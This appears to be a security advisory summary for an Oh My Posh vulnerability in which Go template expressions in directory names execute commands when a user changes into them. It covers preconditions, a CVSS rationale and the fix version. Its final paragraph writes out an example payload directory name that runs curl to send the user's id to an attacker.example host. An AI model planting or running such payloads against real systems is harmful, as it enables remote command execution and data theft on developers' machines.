Oh My Posh CVE-2026-73505

The victim must be running Oh My Posh as their shell prompt renderer with any configuration containing a path segment - including the built-in default configuration. An attacker must be able to place a directory with a Go template expression in its name (e.g., {{ cmd ... }}) somewhere on the filesystem that the victim will navigate into or below. On Linux and macOS, any directory name is valid except those containing / or NUL, so template payloads are fully creatable. On Windows, PowerShell commands can be embedded using slash-free payloads (demonstrated in PoC via powershell -c sc). Exploitation is bounded by: (1) the victim must actively cd into or below the malicious directory (UI:R), and (2) the attacker must control or influence a path on the victim's filesystem - via a shared drive, cloned repository, downloaded archive, or symlink. No authentication to Oh My Posh itself is required.

The CVSS 3.1 score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) accurately reflects a local-vector, low-complexity attack requiring user interaction (victim must navigate into the malicious directory). The attack vector is local, meaning an attacker must be able to place a specially named directory somewhere the victim will navigate - achievable via shared filesystems, cloned repositories, downloaded archives, or social engineering. PR:N is appropriate because no elevated privileges are needed to create such a directory. A verified proof-of-concept is publicly documented in the GHSA advisory (GHSA-6xj8-qv9j-xcjq), demonstrating command execution via --pwd flag simulation and real directory creation on both Unix and Windows. No EPSS data was provided in the input, and this CVE is not listed in CISA KEV. The combination of a low-complexity exploit, a published PoC, and a developer-centric user base (who routinely cd into untrusted repositories) elevates real-world risk above what the local attack vector alone suggests. The fix (commit 88ddbe0b0a4dd13cc345996108c9869493f2c690) is available in v29.35.1.

An attacker crafts a Git repository containing a directory named {{ cmd "curl" "https://attacker.example/exfil?u=$(id)" }}. A developer clones the repository and runs cd into any child of that directory as part of normal workflow. Oh My Posh immediately renders the prompt, evaluating the embedded template expression and executing the curl command as the developer's user account. A verified proof-of-concept for this exact attack class is included in the GHSA advisory, confirmed across Linux, macOS, and Windows.